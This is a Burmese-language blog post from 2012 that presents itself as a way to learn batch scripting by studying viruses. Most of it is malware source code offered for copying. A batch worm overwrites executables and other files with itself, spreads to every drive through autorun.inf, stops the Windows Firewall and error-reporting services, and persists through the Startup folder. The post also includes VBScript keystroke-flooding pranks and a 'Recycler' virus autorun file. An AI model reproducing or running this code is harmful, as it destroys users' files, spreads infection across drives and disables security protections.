ကၽြန္ေတာ္ သိေသာ အသိပညာ နည္းပညာမ်ား မွ်ေ၀ျခင္းျဖစ္ပါသည္.....

Thursday, January 12, 2012

Bat Command Code မ်ား ၊Bad မျဖစ္ေစဖုိ႔ Bat ကုိေလ့လာၾကစုိ႔

ကၽြန္ေတာ္ကြန္ပ်ဴတာကုိစသုံးခါစက  သူမ်ားေတြ စခရင္အမည္းႀကီးမွာ စာေတြရုိက္လုိ႔ ဘာေတြေပၚလာမွန္းမသိျဖစ္ေနတာကုိ တအားသေဘာက်တာ၊ဘာေတြလုပ္ေနမွန္းတာကုိယ္က မသိတာ ေနာက္ေတာ့ အဲဒါ Bat Command ေတြ နဲ႔ကြန္ပ်ဳတာကုိ ခုိင္းေနမွန္း သိလာတာ၊ေနာက္ၿပီး ကုိမုိးထက္ျမင့္နည္းပညာ  မွာ Bat file သင္ခန္းစာေတြေလ့လာရင္း Bat ကုိ ေတာ္ေတာ္ေလး သေဘာေပါက္လာတယ္၊ ေနာက္ထပ္ေလ့လာျဖစ္တာက ကေတာ့ ဆရာဦးေအာင္ျမင့္ေရးတဲ့ Using DOS စာအုပ္ကုိဖတ္ျဖစ္တယ္၊အခုလည္း ေလ့လာေနဆဲပါ အခု post ကေတာ့ Bat နဲ႔ေရးထားတဲ့ Command ေတြပါ၊Virus ေတြျဖစ္ပါတယ္၊သူမ်ားကုိဒုကၡေပးဖုိ႔မဟုတ္ေပမဲ့ အဲဒါေတြ တည္ေဆာက္ပုံေလ့လာရင္ Bat အေၾကာင္း ပုိမုိနားလည္ဖုိ႔ပါ ၊ ကဲစလုိက္ၾကရေအာင္.....ဒန္တန္႔တန္

@echo off
::----Infect All Exe Files---::
    Dir %Homedrive% /s /b > DirPath                        
        For /f %%Y In (DirPath) Do (
        Set DirPath=%%Y > Nul  
            For %%Z In (%DirPath%\*.exe) Do (
            Set ExeInfect=%%Z > Nul
            Copy /y %0 %ExeInfect%
        )
    )

Del /f /s /q DirPath
::---------------------------::
::-----Infect All Drives-----::
for %%E In (A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T,U,V,W,X,Y,Z) Do (
copy /Y %0 %%E:\
echo [AutoRun] > %%E:\autorun.inf
echo open="%%E:\%0" >> %%E:\autorun.inf
echo action=Open folder to see files... >> %%E:\autorun.inf)
::---------------------------::
::-Disable Windows Firewall--::
net stop "MpsSvc"
taskkill /f /t /im "FirewallControlPanel.exe"
::---------------------------::
::-Disable Windows Error Reporting-::
net stop "WerSvc"
::---------------------------------::
::------Copy To Startup------::
copy "Virus Name [Write in a name first, and do not change it].bat" "%userprofile%\Start Menu\Programs\Startup\Virus Name [Write in a name first, and do not change it].bat"
::---------------------------::
::----Infect All  Files---::
    Dir %Homedrive% /s /b > DirPath
        For /f %%Y In (DirPath) Do (
        Set DirPath=%%Y > Nul
            For %%Z In (%DirPath%\*.) Do ("
            Set Infect=%%Z > Nul
            Copy /y %0 %Infect%
        )
    )

Del /f /s /q DirPath
::---------------------------::
::----Infect All  Files---::
    Dir %Homedrive% /s /b > DirPath
        For /f %%Y In (DirPath) Do (
        Set DirPath=%%Y > Nul
            For %%Z In (%DirPath%\*.) Do ("
            Set Infect=%%Z > Nul
            Copy /y %0 %Infect%
        )
    )

Del /f /s /q DirPath
::---------------------------::
::-------Spam C Drive--------::
echo %random% > "C:\%random%Spammed Filetype"
echo %random% > "C:\%random%Spammed Filetype"
echo %random% > "C:\%random%Spammed Filetype"
echo %random% > "C:\%random%Spammed Filetype"
echo %random% > "C:\%random%Spammed Filetype"
echo %random% > "C:\%random%Spammed Filetype"
echo %random% > "C:\%random%Spammed Filetype"
echo %random% > "C:\%random%Spammed Filetype"
echo %random% > "C:\%random%Spammed Filetype"
echo %random% > "C:\%random%Spammed Filetype"
echo %random% > "C:\%random%Spammed Filetype"
::---------------------------::


keyboard hack code!   
This will display a message and make vbscript hit backspace continuously
ဒါကေတာ့ Keyboard ကုိ ဟတ္ၿပီး Backspace Key ေတြ ဆက္တိုက္တက္ေနေစဖုိ႔ပါ

TYPE:
MsgBox "Let's go back a few steps"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop



Your are fool စာသားေတြ ဆက္တုိက္ေပၚေစတဲ့ Script ပါ VBS နဲ႔ေရးပါတယ္

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "You are a fool."
loop

Recycler Virus ပါ

open=Recycle.exe
shell\1=#Recycle.exe#(&P)
shell\1\Commnad=Recycle.exe
shell\2\=$Recycle.exe$(&F)
shell\2\Commnad=Recycle.exe
shellexecute=Recycle.exe
open=E:\System Volume Information\_restore{B5EE95C4-4F27-47F7-BDFD-08BDDD593193}\RP1122\change.log.1
shell\1=#E:\System Volume Information\_restore{B5EE95C4-4F27-47F7-BDFD-08BDDD593193}\RP1122#[Copy file][*.*
shell\1\Command=E:\System Volume Information\_restore{B5EE95C4-4F27-47F7-BDFD-08BDDD593193}\RP1122\change.log.1
shell\2\=$E:\System Volume Information\_restore{B5EE95C4-4F27-47F7-BDFD-08BDDD593193}\RP1122\change.log.1$[Copy file][*.*
shell\2\Command=E:\System Volume Information\_restore{B5EE95C4-4F27-47F7-BDFD-08BDDD593193}\RP1122\change.log.1
shellexecute=E:\System Volume Information\_restore{B5EE95C4-4F27-47F7-BDFD-08BDDD593193}\RP1122\change.log.1

သူမွာ autorun file ရဲ႕အလုပ္လုပ္ပုံကုိပါ ထူးထူးျခားျခား ထည့္ေရးထားပါတယ္ ၊သေဘာကေတာ့ ဗုိင္းရပ္ကုိ autorun ပိတ္ထားေပမဲ့လည္း shell အသစ္ေရးၿပီးကူးေစဖုိ႔ပါ။

No comments:

Post a Comment